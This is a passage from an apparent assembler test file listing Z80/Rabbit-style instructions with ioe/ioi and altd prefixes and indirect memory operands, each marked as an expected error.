ld d', (iy+127) ; Error ioe ld d', (iy-128) ; Error ioe ld d, (hl) ; Error ioe ld d, (ix) ; Error ioe ld d, (ix+127) ; Error ioe ld d, (ix-128) ; Error ioe ld d, (iy) ; Error ioe ld d, (iy+127) ; Error ioe ld d, (iy-128) ; Error ioe ld de', (-32768) ; Error ioe ld de', (32767) ; Error ioe ld de', (65535) ; Error ioe ld de, (-32768) ; Error ioe ld de, (32767) ; Error ioe ld de, (65535) ; Error ioe ld e', (hl) ; Error ioe ld e', (ix) ; Error ioe ld e', (ix+127) ; Error ioe ld e', (ix-128) ; Error ioe ld e', (iy) ; Error ioe ld e', (iy+127) ; Error ioe ld e', (iy-128) ; Error ioe ld e, (hl) ; Error ioe ld e, (ix) ; Error ioe ld e, (ix+127) ; Error ioe ld e, (ix-128) ; Error ioe ld e, (iy) ; Error ioe ld e, (iy+127) ; Error ioe ld e, (iy-128) ; Error ioe ld h', (hl) ; Error ioe ld h', (ix) ; Error ioe ld h', (ix+127) ; Error ioe ld h', (ix-128) ; Error ioe ld h', (iy) ; Error ioe ld h', (iy+127) ; Error ioe ld h', (iy-128) ; Error ioe ld h, (hl) ; Error ioe ld h, (ix) ; Error ioe ld h, (ix+127) ; Error ioe ld h, (ix-128) ; Error ioe ld h, (iy) ; Error ioe ld h, (iy+127) ; Error ioe ld h, (iy-128) ; Error ioe ld hl', (-32768) ; Error ioe ld hl', (32767) ; Error ioe ld hl', (65535) ; Error ioe ld hl', (hl) ; Error ioe ld hl', (hl+127) ; Error ioe ld hl', (hl-128) ; Error ioe ld hl', (ix) ; Error ioe ld hl', (ix+127) ; Error ioe ld hl', (ix-128) ; Error ioe ld hl', (iy) ; Error ioe ld hl', (iy+127) ; Error ioe ld hl', (iy-128) ; Error ioe ld hl, (-32768) ; Error ioe ld hl, (32767) ; Error ioe ld hl, (65535) ; Error ioe ld hl, (hl) ; Error ioe ld hl, (hl+127) ; Error ioe ld hl, (hl-128) ; Error ioe ld hl, (ix) ; Error ioe ld hl, (ix+127) ; Error ioe ld hl, (ix-128) ; Error ioe ld hl, (iy) ; Error ioe ld hl, (iy+127) ; Error ioe ld hl, (iy-128) ; Error ioe ld ix, (-32768) ; Error ioe ld ix, (32767) ; Error ioe ld ix, (65535) ; Error ioe ld iy, (-32768) ; Error ioe ld iy, (32767) ; Error ioe ld iy, (65535) ; Error ioe ld l', (hl) ; Error ioe ld l', (ix) ; Error ioe ld l', (ix+127) ; Error ioe ld l', (ix-128) ; Error ioe ld l', (iy) ; Error ioe ld l', (iy+127) ; Error ioe ld l', (iy-128) ; Error ioe ld l, (hl) ; Error ioe ld l, (ix) ; Error ioe ld l, (ix+127) ; Error ioe ld l, (ix-128) ; Error ioe ld l, (iy) ; Error ioe ld l, (iy+127) ; Error ioe ld l, (iy-128) ; Error ioe ld sp, (-32768) ; Error ioe ld sp, (32767) ; Error ioe ld sp, (65535) ; Error ioe ldd ; Error ioe ldd (bc), a ; Error ioe ldd (de), a ; Error ioe ldd (hl), a ; Error ioe ldd a, (bc) ; Error ioe ldd a, (de) ; Error ioe ldd a, (hl) ; Error ioe lddr ; Error ioe lddsr ; Error ioe ldi ; Error ioe ldi (bc), a ; Error ioe ldi (de), a ; Error ioe ldi (hl), a ; Error ioe ldi a, (bc) ; Error ioe ldi a, (de) ; Error ioe ldi a, (hl) ; Error ioe ldir ; Error ioe ldisr ; Error ioe lsddr ; Error ioe lsdr ; Error ioe lsidr ; Error ioe lsir ; Error ioe or (hl) ; Error ioe or (ix) ; Error ioe or (ix+127) ; Error ioe or (ix-128) ; Error ioe or (iy) ; Error ioe or (iy+127) ; Error ioe or (iy-128) ; Error ioe or a', (hl) ; Error ioe or a', (ix) ; Error ioe or a', (ix+127) ; Error ioe or a', (ix-128) ; Error ioe or a', (iy) ; Error ioe or a', (iy+127) ; Error ioe or a', (iy-128) ; Error ioe or a, (hl) ; Error ioe or a, (ix) ; Error ioe or a, (ix+127) ; Error ioe or a, (ix-128) ; Error ioe or a, (iy) ; Error ioe or a, (iy+127) ; Error ioe or a, (iy-128) ; Error ioe res -1, (hl) ; Error ioe res -1, (hl) ; Error ioe res -1, (ix) ; Error ioe res -1, (ix) ; Error ioe res -1, (ix+127) ; Error ioe res -1, (ix+127) ; Error ioe res -1, (ix-128) ; Error ioe res -1, (ix-128) ; Error ioe res -1, (iy) ; Error ioe res -1, (iy) ; Error ioe res -1, (iy+127) ; Error ioe res -1, (iy+127) ; Error ioe res -1, (iy-128) ; Error ioe res -1, (iy-128) ; Error ioe res 0, (hl) ; Error ioe res 0, (ix) ; Error ioe res 0, (ix+127) ; Error ioe res 0, (ix-128) ; Error ioe res 0, (iy) ; Error ioe res 0, (iy+127) ; Error ioe res 0, (iy-128) ; Error ioe res 1, (hl) ; Error ioe res 1, (ix) ; Error ioe res 1, (ix+127) ; Error ioe res 1, (ix-128) ; Error ioe res 1, (iy) ; Error ioe res 1, (iy+127) ; Error ioe res 1, (iy-128) ; Error ioe res 2, (hl) ; Error ioe res 2, (ix) ; Error ioe res 2, (ix+127) ; Error ioe res 2, (ix-128) ; Error ioe res 2, (iy) ; Error ioe res 2, (iy+127) ; Error ioe res 2, (iy-128) ; Error ioe res 3, (hl) ; Error ioe res 3, (ix) ; Error ioe res 3, (ix+127) ; Error ioe res 3, (ix-128) ; Error ioe res 3, (iy) ; Error ioe res 3, (iy+127) ; Error ioe res 3, (iy-128) ; Error ioe res 4, (hl) ; Error ioe res 4, (ix) ; Error ioe res 4, (ix+127) ; Error ioe res 4, (ix-128) ; Error ioe res 4, (iy) ; Error ioe res 4, (iy+127) ; Error ioe res 4, (iy-128) ; Error ioe res 5, (hl) ; Error ioe res 5, (ix) ; Error ioe res 5, (ix+127) ; Error ioe res 5, (ix-128) ; Error ioe res 5, (iy) ; Error ioe res 5, (iy+127) ; Error ioe res 5, (iy-128) ; Error ioe res 6, (hl) ; Error ioe res 6, (ix) ; Error ioe res 6, (ix+127) ; Error ioe res 6, (ix-128) ; Error ioe res 6, (iy) ; Error ioe res 6, (iy+127) ; Error ioe res 6, (iy-128) ; Error ioe res 7, (hl) ; Error ioe res 7, (ix) ; Error ioe res 7, (ix+127) ; Error ioe res 7, (ix-128) ; Error ioe res 7, (iy) ; Error ioe res 7, (iy+127) ; Error ioe res 7, (iy-128) ; Error ioe res 8, (hl) ; Error ioe res 8, (hl) ; Error ioe res 8, (ix) ; Error ioe res 8, (ix) ; Error ioe res 8, (ix+127) ; Error ioe res 8, (ix+127) ; Error ioe res 8, (ix-128) ; Error ioe res 8, (ix-128) ; Error ioe res 8, (iy) ; Error ioe res 8, (iy) ; Error ioe res 8, (iy+127) ; Error ioe res 8, (iy+127) ; Error ioe res 8, (iy-128) ; Error ioe res 8, (iy-128) ; Error ioe res.a -1, (hl) ; Error ioe res.a -1, (hl) ; Error ioe res.a -1, (ix) ; Error ioe res.a -1, (ix) ; Error ioe res.a -1, (ix+127) ; Error ioe res.a -1, (ix+127) ; Error ioe res.a -1, (ix-128) ; Error ioe res.a -1, (ix-128) ; Error ioe res.a -1, (iy) ; Error ioe res.a -1, (iy) ; Error ioe res.a -1, (iy+127) ; Error ioe res.a -1, (iy+127) ; Error ioe res.a -1, (iy-128) ; Error ioe res.a -1, (iy-128) ; Error ioe res.a 0, (hl) ; Error ioe res.a 0, (ix) ; Error ioe res.a 0, (ix+127) ; Error ioe res.a 0, (ix-128) ; Error ioe res.a 0, (iy) ; Error ioe res.a 0, (iy+127) ; Error ioe res.a 0, (iy-128) ; Error ioe res.a 1, (hl) ; Error ioe res.a 1, (ix) ; Error ioe res.a 1, (ix+127) ; Error ioe res.a 1, (ix-128) ; Error ioe res.a 1, (iy) ; Error ioe res.a 1, (iy+127) ; Error ioe res.a 1, (iy-128) ; Error ioe res.a 2, (hl) ; Error ioe res.a 2, (ix) ; Error ioe res.a 2, (ix+127) ; Error ioe res.a 2, (ix-128) ; Error ioe res.a 2, (iy) ; Error ioe res.a 2, (iy+127) ; Error ioe res.a 2, (iy-128) ; Error ioe res.a 3, (hl) ; Error ioe res.a 3, (ix) ; Error ioe res.a 3, (ix+127) ; Error ioe res.a 3, (ix-128) ; Error ioe res.a 3, (iy) ; Error ioe res.a 3, (iy+127) ; Error ioe res.a 3, (iy-128) ; Error ioe res.a 4, (hl) ; Error ioe res.a 4, (ix) ; Error ioe res.a 4, (ix+127) ; Error ioe res.a 4, (ix-128) ; Error ioe res.a 4, (iy) ; Error ioe res.a 4, (iy+127) ; Error ioe res.a 4, (iy-128) ; Error ioe res.a 5, (hl) ; Error ioe res.a 5, (ix) ; Error ioe res.a 5, (ix+127) ; Error ioe res.a 5, (ix-128) ; Error ioe res.a 5, (iy) ; Error ioe res.a 5, (iy+127) ; Error ioe res.a 5, (iy-128) ; Error ioe res.a 6, (hl) ; Error ioe res.a 6, (ix) ; Error ioe res.a 6, (ix+127) ; Error ioe res.a 6, (ix-128) ; Error ioe res.a 6, (iy) ; Error ioe res.a 6, (iy+127) ; Error ioe res.a 6, (iy-128) ; Error ioe res.a 7, (hl) ; Error ioe res.a 7, (ix) ; Error ioe res.a 7, (ix+127) ; Error ioe res.a 7, (ix-128) ; Error ioe res.a 7, (iy) ; Error ioe res.a 7, (iy+127) ; Error ioe res.a 7, (iy-128) ; Error ioe res.a 8, (hl) ; Error ioe res.a 8, (hl) ; Error ioe res.a 8, (ix) ; Error ioe res.a 8, (ix) ; Error ioe res.a 8, (ix+127) ; Error ioe res.a 8, (ix+127) ; Error ioe res.a 8, (ix-128) ; Error ioe res.a 8, (ix-128) ; Error ioe res.a 8, (iy) ; Error ioe res.a 8, (iy) ; Error ioe res.a 8, (iy+127) ; Error ioe res.a 8, (iy+127) ; Error ioe res.a 8, (iy-128) ; Error ioe res.a 8, (iy-128) ; Error ioe rl (hl) ; Error ioe rl (ix) ; Error ioe rl (ix+127) ; Error ioe rl (ix-128) ; Error ioe rl (iy) ; Error ioe rl (iy+127) ; Error ioe rl (iy-128) ; Error ioe rlc (hl) ; Error ioe rlc (ix) ; Error ioe rlc (ix+127) ; Error ioe rlc (ix-128) ; Error ioe rlc (iy) ; Error ioe rlc (iy+127) ; Error ioe rlc (iy-128) ; Error ioe rr (hl) ; Error ioe rr (ix) ; Error ioe rr (ix+127) ; Error ioe rr (ix-128) ; Error ioe rr (iy) ; Error ioe rr (iy+127) ; Error ioe rr (iy-128) ; Error ioe rrc (hl) ; Error ioe rrc (ix) ; Error ioe rrc (ix+127) ; Error ioe rrc (ix-128) ; Error ioe rrc (iy) ; Error ioe rrc (iy+127) ; Error ioe rrc (iy-128) ; Error ioe sbc (hl) ; Error ioe sbc (ix) ; Error ioe sbc (ix+127) ; Error ioe sbc (ix-128) ; Error ioe sbc (iy) ; Error ioe sbc (iy+127) ; Error ioe sbc (iy-128) ; Error ioe sbc a', (hl) ; Error ioe sbc a', (ix) ; Error ioe sbc a', (ix+127) ; Error ioe sbc a', (ix-128) ; Error ioe sbc a', (iy) ; Error ioe sbc a', (iy+127) ; Error ioe sbc a', (iy-128) ; Error ioe sbc a, (hl) ; Error ioe sbc a, (ix) ; Error ioe sbc a, (ix+127) ; Error ioe sbc a, (ix-128) ; Error ioe sbc a, (iy) ; Error ioe sbc a, (iy+127) ; Error ioe sbc a, (iy-128) ; Error ioe set -1, (hl) ; Error ioe set -1, (hl) ; Error ioe set -1, (ix) ; Error ioe set -1, (ix) ; Error ioe set -1, (ix+127) ; Error ioe set -1, (ix+127) ; Error ioe set -1, (ix-128) ; Error ioe set -1, (ix-128) ; Error ioe set -1, (iy) ; Error ioe set -1, (iy) ; Error ioe set -1, (iy+127) ; Error ioe set -1, (iy+127) ; Error ioe set -1, (iy-128) ; Error ioe set -1, (iy-128) ; Error ioe set 0, (hl) ; Error ioe set 0, (ix) ; Error ioe set 0, (ix+127) ; Error ioe set 0, (ix-128) ; Error ioe set 0, (iy) ; Error ioe set 0, (iy+127) ; Error ioe set 0, (iy-128) ; Error ioe set 1, (hl) ; Error ioe set 1, (ix) ; Error ioe set 1, (ix+127) ; Error ioe set 1, (ix-128) ; Error ioe set 1, (iy) ; Error ioe set 1, (iy+127) ; Error ioe set 1, (iy-128) ; Error ioe set 2, (hl) ; Error ioe set 2, (ix) ; Error ioe set 2, (ix+127) ; Error ioe set 2, (ix-128) ; Error ioe set 2, (iy) ; Error ioe set 2, (iy+127) ; Error ioe set 2, (iy-128) ; Error ioe set 3, (hl) ; Error ioe set 3, (ix) ; Error ioe set 3, (ix+127) ; Error ioe set 3, (ix-128) ; Error ioe set 3, (iy) ; Error ioe set 3, (iy+127) ; Error ioe set 3, (iy-128) ; Error ioe set 4, (hl) ; Error ioe set 4, (ix) ; Error ioe set 4, (ix+127) ; Error ioe set 4, (ix-128) ; Error ioe set 4, (iy) ; Error ioe set 4, (iy+127) ; Error ioe set 4, (iy-128) ; Error ioe set 5, (hl) ; Error ioe set 5, (ix) ; Error ioe set 5, (ix+127) ; Error ioe set 5, (ix-128) ; Error ioe set 5, (iy) ; Error ioe set 5, (iy+127) ; Error ioe set 5, (iy-128) ; Error ioe set 6, (hl) ; Error ioe set 6, (ix) ; Error ioe set 6, (ix+127) ; Error ioe set 6, (ix-128) ; Error ioe set 6, (iy) ; Error ioe set 6, (iy+127) ; Error ioe set 6, (iy-128) ; Error ioe set 7, (hl) ; Error ioe set 7, (ix) ; Error ioe set 7, (ix+127) ; Error ioe set 7, (ix-128) ; Error ioe set 7, (iy) ; Error ioe set 7, (iy+127) ; Error ioe set 7, (iy-128) ; Error ioe set 8, (hl) ; Error ioe set 8, (hl) ; Error ioe set 8, (ix) ; Error ioe set 8, (ix) ; Error ioe set 8, (ix+127) ; Error ioe set 8, (ix+127) ; Error ioe set 8, (ix-128) ; Error ioe set 8, (ix-128) ; Error ioe set 8, (iy) ; Error ioe set 8, (iy) ; Error ioe set 8, (iy+127) ; Error ioe set 8, (iy+127) ; Error ioe set 8, (iy-128) ; Error ioe set 8, (iy-128) ; Error ioe set.a -1, (hl) ; Error ioe set.a -1, (hl) ; Error ioe set.a -1, (ix) ; Error ioe set.a -1, (ix) ; Error ioe set.a -1, (ix+127) ; Error ioe set.a -1, (ix+127) ; Error ioe set.a -1, (ix-128) ; Error ioe set.a -1, (ix-128) ; Error ioe set.a -1, (iy) ; Error ioe set.a -1, (iy) ; Error ioe set.a -1, (iy+127) ; Error ioe set.a -1, (iy+127) ; Error ioe set.a -1, (iy-128) ; Error ioe set.a -1, (iy-128) ; Error ioe set.a 0, (hl) ; Error ioe set.a 0, (ix) ; Error ioe set.a 0, (ix+127) ; Error ioe set.a 0, (ix-128) ; Error ioe set.a 0, (iy) ; Error ioe set.a 0, (iy+127) ; Error ioe set.a 0, (iy-128) ; Error ioe set.a 1, (hl) ; Error ioe set.a 1, (ix) ; Error ioe set.a 1, (ix+127) ; Error ioe set.a 1, (ix-128) ; Error ioe set.a 1, (iy) ; Error ioe set.a 1, (iy+127) ; Error ioe set.a 1, (iy-128) ; Error ioe set.a 2, (hl) ; Error ioe set.a 2, (ix) ; Error ioe set.a 2, (ix+127) ; Error ioe set.a 2, (ix-128) ; Error ioe set.a 2, (iy) ; Error ioe set.a 2, (iy+127) ; Error ioe set.a 2, (iy-128) ; Error ioe set.a 3, (hl) ; Error ioe set.a 3, (ix) ; Error ioe set.a 3, (ix+127) ; Error ioe set.a 3, (ix-128) ; Error ioe set.a 3, (iy) ; Error ioe set.a 3, (iy+127) ; Error ioe set.a 3, (iy-128) ; Error ioe set.a 4, (hl) ; Error ioe set.a 4, (ix) ; Error ioe set.a 4, (ix+127) ; Error ioe set.a 4, (ix-128) ; Error ioe set.a 4, (iy) ; Error ioe set.a 4, (iy+127) ; Error ioe set.a 4, (iy-128) ; Error ioe set.a 5, (hl) ; Error ioe set.a 5, (ix) ; Error ioe set.a 5, (ix+127) ; Error ioe set.a 5, (ix-128) ; Error ioe set.a 5, (iy) ; Error ioe set.a 5, (iy+127) ; Error ioe set.a 5, (iy-128) ; Error ioe set.a 6, (hl) ; Error ioe set.a 6, (ix) ; Error ioe set.a 6, (ix+127) ; Error ioe set.a 6, (ix-128) ; Error ioe set.a 6, (iy) ; Error ioe set.a 6, (iy+127) ; Error ioe set.a 6, (iy-128) ; Error ioe set.a 7, (hl) ; Error ioe set.a 7, (ix) ; Error ioe set.a 7, (ix+127) ; Error ioe set.a 7, (ix-128) ; Error ioe set.a 7, (iy) ; Error ioe set.a 7, (iy+127) ; Error ioe set.a 7, (iy-128) ; Error ioe set.a 8, (hl) ; Error ioe set.a 8, (hl) ; Error ioe set.a 8, (ix) ; Error ioe set.a 8, (ix) ; Error ioe set.a 8, (ix+127) ; Error ioe set.a 8, (ix+127) ; Error ioe set.a 8, (ix-128) ; Error ioe set.a 8, (ix-128) ; Error ioe set.a 8, (iy) ; Error ioe set.a 8, (iy) ; Error ioe set.a 8, (iy+127) ; Error ioe set.a 8, (iy+127) ; Error ioe set.a 8, (iy-128) ; Error ioe set.a 8, (iy-128) ; Error ioe sla (hl) ; Error ioe sla (ix) ; Error ioe sla (ix+127) ; Error ioe sla (ix-128) ; Error ioe sla (iy) ; Error ioe sla (iy+127) ; Error ioe sla (iy-128) ; Error ioe sra (hl) ; Error ioe sra (ix) ; Error ioe sra (ix+127) ; Error ioe sra (ix-128) ; Error ioe sra (iy) ; Error ioe sra (iy+127) ; Error ioe sra (iy-128) ; Error ioe srl (hl) ; Error ioe srl (ix) ; Error ioe srl (ix+127) ; Error ioe srl (ix-128) ; Error ioe srl (iy) ; Error ioe srl (iy+127) ; Error ioe srl (iy-128) ; Error ioe sub (hl) ; Error ioe sub (ix) ; Error ioe sub (ix+127) ; Error ioe sub (ix-128) ; Error ioe sub (iy) ; Error ioe sub (iy+127) ; Error ioe sub (iy-128) ; Error ioe sub a', (hl) ; Error ioe sub a', (ix) ; Error ioe sub a', (ix+127) ; Error ioe sub a', (ix-128) ; Error ioe sub a', (iy) ; Error ioe sub a', (iy+127) ; Error ioe sub a', (iy-128) ; Error ioe sub a, (hl) ; Error ioe sub a, (ix) ; Error ioe sub a, (ix+127) ; Error ioe sub a, (ix-128) ; Error ioe sub a, (iy) ; Error ioe sub a, (iy+127) ; Error ioe sub a, (iy-128) ; Error ioe xor (hl) ; Error ioe xor (ix) ; Error ioe xor (ix+127) ; Error ioe xor (ix-128) ; Error ioe xor (iy) ; Error ioe xor (iy+127) ; Error ioe xor (iy-128) ; Error ioe xor a', (hl) ; Error ioe xor a', (ix) ; Error ioe xor a', (ix+127) ; Error ioe xor a', (ix-128) ; Error ioe xor a', (iy) ; Error ioe xor a', (iy+127) ; Error ioe xor a', (iy-128) ; Error ioe xor a, (hl) ; Error ioe xor a, (ix) ; Error ioe xor a, (ix+127) ; Error ioe xor a, (ix-128) ; Error ioe xor a, (iy) ; Error ioe xor a, (iy+127) ; Error ioe xor a, (iy-128) ; Error ioi adc (hl) ; Error ioi adc (ix) ; Error ioi adc (ix+127) ; Error ioi adc (ix-128) ; Error ioi adc (iy) ; Error ioi adc (iy+127) ; Error ioi adc (iy-128) ; Error ioi adc a', (hl) ; Error ioi adc a', (ix) ; Error ioi adc a', (ix+127) ; Error ioi adc a', (ix-128) ; Error ioi adc a', (iy) ; Error ioi adc a', (iy+127) ; Error ioi adc a', (iy-128) ; Error ioi adc a, (hl) ; Error ioi adc a, (ix) ; Error ioi adc a, (ix+127) ; Error ioi adc a, (ix-128) ; Error ioi adc a, (iy) ; Error ioi adc a, (iy+127) ; Error ioi adc a, (iy-128) ; Error ioi add (hl) ; Error ioi add (ix) ; Error ioi add (ix+127) ; Error ioi add (ix-128) ; Error ioi add (iy) ; Error ioi add (iy+127) ; Error ioi add (iy-128) ; Error ioi add a', (hl) ; Error ioi add a', (ix) ; Error ioi add a', (ix+127) ; Error ioi add a', (ix-128) ; Error ioi add a', (iy) ; Error ioi add a', (iy+127) ; Error ioi add a', (iy-128) ; Error ioi add a, (hl) ; Error ioi add a, (ix) ; Error ioi add a, (ix+127) ; Error ioi add a, (ix-128) ; Error ioi add a, (iy) ; Error ioi add a, (iy+127) ; Error ioi add a, (iy-128) ; Error ioi altd adc (hl) ; Error ioi altd adc (ix) ; Error ioi altd adc (ix+127) ; Error ioi altd adc (ix-128) ; Error ioi altd adc (iy) ; Error ioi altd adc (iy+127) ; Error ioi altd adc (iy-128) ; Error ioi altd adc a, (hl) ; Error ioi altd adc a, (ix) ; Error ioi altd adc a, (ix+127) ; Error ioi altd adc a, (ix-128) ; Error ioi altd adc a, (iy) ; Error ioi altd adc a, (iy+127) ; Error ioi altd adc a, (iy-128) ; Error ioi altd add (hl) ; Error ioi altd add (ix) ; Error ioi altd add (ix+127) ; Error ioi altd add (ix-128) ; Error ioi altd add (iy) ; Error ioi altd add (iy+127) ; Error ioi altd add (iy-128) ; Error ioi altd add a, (hl) ; Error ioi altd add a, (ix) ; Error ioi altd add a, (ix+127) ; Error ioi altd add a, (ix-128) ; Error ioi altd add a, (iy) ; Error ioi altd add a, (iy+127) ; Error ioi altd add a, (iy-128) ; Error ioi altd and (hl) ; Error ioi altd and (ix) ; Error ioi altd and (ix+127) ; Error ioi altd and (ix-128) ; Error ioi altd and (iy) ; Error ioi altd and (iy+127) ; Error ioi altd and (iy-128) ; Error ioi altd and a, (hl) ; Error ioi altd and a, (ix) ; Error ioi altd and a, (ix+127) ; Error ioi altd and a, (ix-128) ; Error ioi altd and a, (iy) ; Error ioi altd and a, (iy+127) ; Error ioi altd and a, (iy-128) ; Error ioi altd bit -1, (hl) ; Error ioi altd bit -1, (hl) ; Error ioi altd bit -1, (ix) ; Error ioi altd bit -1, (ix) ; Error ioi altd bit -1, (ix+127) ; Error ioi altd bit -1, (ix+127) ; Error ioi altd bit -1, (ix-128) ; Error ioi altd bit -1, (ix-128) ; Error ioi altd bit -1, (iy) ; Error ioi altd bit -1, (iy) ; Error ioi altd bit -1, (iy+127) ; Error ioi altd bit -1, (iy+127) ; Error ioi altd bit -1, (iy-128) ; Error ioi altd bit -1, (iy-128) ; Error ioi altd bit 0, (hl) ; Error ioi altd bit 0, (ix) ; Error ioi altd bit 0, (ix+127) ; Error ioi altd bit 0, (ix-128) ; Error ioi altd bit 0, (iy) ; Error ioi altd bit 0, (iy+127) ; Error ioi altd bit 0, (iy-128) ; Error ioi altd bit 1, (hl) ; Error ioi altd bit 1, (ix) ; Error ioi altd bit 1, (ix+127) ; Error ioi altd bit 1, (ix-128) ; Error ioi altd bit 1, (iy) ; Error ioi altd bit 1, (iy+127) ; Error ioi altd bit 1, (iy-128) ; Error ioi altd bit 2, (hl) ; Error ioi altd bit 2, (ix) ; Error ioi altd bit 2, (ix+127) ; Error ioi altd bit 2, (ix-128) ; Error ioi altd bit 2, (iy) ; Error ioi altd bit 2, (iy+127) ; Error ioi altd bit 2, (iy-128) ; Error ioi altd bit 3, (hl) ; Error ioi altd bit 3, (ix) ; Error ioi altd bit 3, (ix+127) ; Error ioi altd bit 3, (ix-128) ; Error ioi altd bit 3, (iy) ; Error ioi altd bit 3, (iy+127) ; Error ioi altd bit 3, (iy-128) ; Error ioi altd bit 4, (hl) ; Error ioi altd bit 4, (ix) ; Error ioi altd bit 4, (ix+127) ; Error ioi altd bit 4, (ix-128) ; Error ioi altd bit 4, (iy) ; Error ioi altd bit 4, (iy+127) ; Error ioi altd bit 4, (iy-128) ; Error ioi altd bit 5, (hl) ; Error ioi altd bit 5, (ix) ; Error ioi altd bit 5, (ix+127) ; Error ioi altd bit 5, (ix-128) ; Error ioi altd bit 5, (iy) ; Error ioi altd bit 5, (iy+127) ; Error ioi altd bit 5, (iy-128) ; Error ioi altd bit 6, (hl) ; Error ioi altd bit 6, (ix) ; Error ioi altd bit 6, (ix+127) ; Error ioi altd bit 6, (ix-128) ; Error ioi altd bit 6, (iy) ; Error ioi altd bit 6, (iy+127) ; Error ioi altd bit 6, (iy-128) ; Error ioi altd bit 7, (hl) ; Error ioi altd bit 7, (ix) ; Error ioi altd bit 7, (ix+127) ; Error ioi altd bit 7, (ix-128) ; Error ioi altd bit 7, (iy) ; Error ioi altd bit 7, (iy+127) ; Error ioi altd bit 7, (iy-128) ; Error ioi altd bit 8, (hl) ; Error ioi altd bit 8, (hl) ; Error ioi altd bit 8, (ix) ; Error ioi altd bit 8, (ix) ; Error ioi altd bit 8, (ix+127) ; Error ioi altd bit 8, (ix+127) ; Error ioi altd bit 8, (ix-128) ; Error ioi altd bit 8, (ix-128) ; Error ioi altd bit 8, (iy) ; Error ioi altd bit 8, (iy) ; Error ioi altd bit 8, (iy+127) ; Error ioi altd bit 8, (iy+127) ; Error ioi altd bit 8, (iy-128) ; Error ioi altd bit 8, (iy-128) ; Error ioi altd cp (hl) ; Error ioi altd cp (ix) ; Error ioi altd cp (ix+127) ; Error ioi altd cp (ix-128) ; Error ioi altd cp (iy) ; Error ioi altd cp (iy+127) ; Error ioi altd cp (iy-128) ; Error ioi altd cp a, (hl) ; Error ioi altd cp a, (ix) ; Error ioi altd cp a, (ix+127) ; Error ioi altd cp a, (ix-128) ; Error ioi altd cp a, (iy) ; Error ioi altd cp a, (iy+127) ; Error ioi altd cp a, (iy-128) ; Error ioi altd dec (hl) ; Error ioi altd dec (ix) ; Error ioi altd dec (ix+127) ; Error ioi altd dec (ix-128) ; Error ioi altd dec (iy) ; Error ioi altd dec (iy+127) ; Error ioi altd dec (iy-128) ; Error ioi altd inc (hl) ; Error ioi altd inc (ix) ; Error ioi altd inc (ix+127) ; Error ioi altd inc (ix-128) ; Error ioi altd inc (iy) ; Error ioi altd inc (iy+127) ; Error ioi altd inc (iy-128) ; Error ioi altd ld a, (-32768) ; Error ioi altd ld a, (32767) ; Error ioi altd ld a, (65535) ; Error ioi altd ld a, (bc) ; Error ioi altd ld a, (bc+) ; Error ioi altd ld a, (bc-) ; Error ioi altd ld a, (de) ; Error ioi altd ld a, (de+) ; Error ioi altd ld a, (de-) ; Error ioi altd ld a, (hl) ; Error ioi altd ld a, (hl+) ; Error ioi altd ld a, (hl-) ; Error ioi altd ld a, (hld) ; Error ioi altd ld a, (hli) ; Error ioi altd ld a, (ix) ; Error ioi altd ld a, (ix+127) ; Error ioi altd ld a, (ix-128) ; Error ioi altd ld a, (iy) ; Error ioi altd ld a, (iy+127) ; Error ioi altd ld a, (iy-128) ; Error ioi altd ld b, (hl) ; Error ioi altd ld b, (ix) ; Error ioi altd ld b, (ix+127) ; Error ioi altd ld b, (ix-128) ; Error ioi altd ld b, (iy) ; Error ioi altd ld b, (iy+127) ; Error ioi altd ld b, (iy-128) ; Error ioi altd ld bc, (-32768) ; Error ioi altd ld bc, (32767) ; Error ioi altd ld bc, (65535) ; Error ioi altd ld c, (hl) ; Error ioi altd ld c, (ix) ; Error ioi altd ld c, (ix+127) ; Error ioi altd ld c, (ix-128) ; Error ioi altd ld c, (iy) ; Error ioi altd ld c, (iy+127) ; Error ioi altd ld c, (iy-128) ; Error ioi altd ld d, (hl) ; Error ioi altd ld d, (ix) ; Error ioi altd ld d, (ix+127) ; Error ioi altd ld d, (ix-128) ; Error ioi altd ld d, (iy) ; Error ioi altd ld d, (iy+127) ; Error ioi altd ld d, (iy-128) ; Error ioi altd ld de, (-32768) ; Error ioi altd ld de, (32767) ; Error ioi altd ld de, (65535) ; Error ioi altd ld e, (hl) ; Error ioi altd ld e, (ix) ; Error ioi altd ld e, (ix+127) ; Error ioi altd ld e, (ix-128) ; Error ioi altd ld e, (iy) ; Error ioi altd ld e, (iy+127) ; Error ioi altd ld e, (iy-128) ; Error ioi altd ld h, (hl) ; Error ioi altd ld h, (ix) ; Error ioi altd ld h, (ix+127) ; Error ioi altd ld h, (ix-128) ; Error ioi altd ld h, (iy) ; Error ioi altd ld h, (iy+127) ; Error ioi altd ld h, (iy-128) ; Error ioi altd ld hl, (-32768) ; Error ioi altd ld hl, (32767) ; Error ioi altd ld hl, (65535) ; Error ioi altd ld hl, (hl) ; Error ioi altd ld hl, (hl+127) ; Error ioi altd ld hl, (hl-128) ; Error ioi altd ld hl, (ix) ; Error ioi altd ld hl, (ix+127) ; Error ioi altd ld hl, (ix-128) ; Error ioi altd ld hl, (iy) ; Error ioi altd ld hl, (iy+127) ; Error ioi altd ld hl, (iy-128) ; Error ioi altd ld l, (hl) ; Error ioi altd ld l, (ix) ; Error ioi altd ld l, (ix+127) ; Error ioi altd ld l, (ix-128) ; Error ioi altd ld l, (iy) ; Error ioi altd ld l, (iy+127) ; Error ioi altd ld l, (iy-128) ; Error ioi altd or (hl) ; Error ioi altd or (ix) ; Error ioi altd or (ix+127) ; Error ioi altd or (ix-128) ; Error ioi altd or (iy) ; Error ioi altd or (iy+127) ; Error ioi altd or (iy-128) ; Error ioi altd or a, (hl) ; Error ioi altd or a, (ix) ; Error ioi altd or a, (ix+127) ; Error ioi altd or a, (ix-128) ; Error ioi altd or a, (iy) ; Error ioi altd or a, (iy+127) ; Error ioi altd or a, (iy-128) ; Error ioi altd rl (hl) ; Error ioi altd rl (ix) ; Error ioi altd rl (ix+127) ; Error ioi altd rl (ix-128) ; Error ioi altd rl (iy) ; Error ioi altd rl (iy+127) ; Error ioi altd rl (iy-128) ; Error ioi altd rlc (hl) ; Error ioi altd rlc (ix) ; Error ioi altd rlc (ix+127) ; Error ioi altd rlc (ix-128) ; Error ioi altd rlc (iy) ; Error ioi altd rlc (iy+127) ; Error ioi altd rlc (iy-128) ; Error ioi altd rr (hl) ; Error ioi altd rr (ix) ; Error ioi altd rr (ix+127) ; Error ioi altd rr (ix-128) ; Error ioi altd rr (iy) ; Error ioi altd rr (iy+127) ; Error ioi altd rr (iy-128) ; Error ioi altd rrc (hl) ; Error ioi altd rrc (ix) ; Error ioi altd rrc (ix+127) ; Error ioi altd 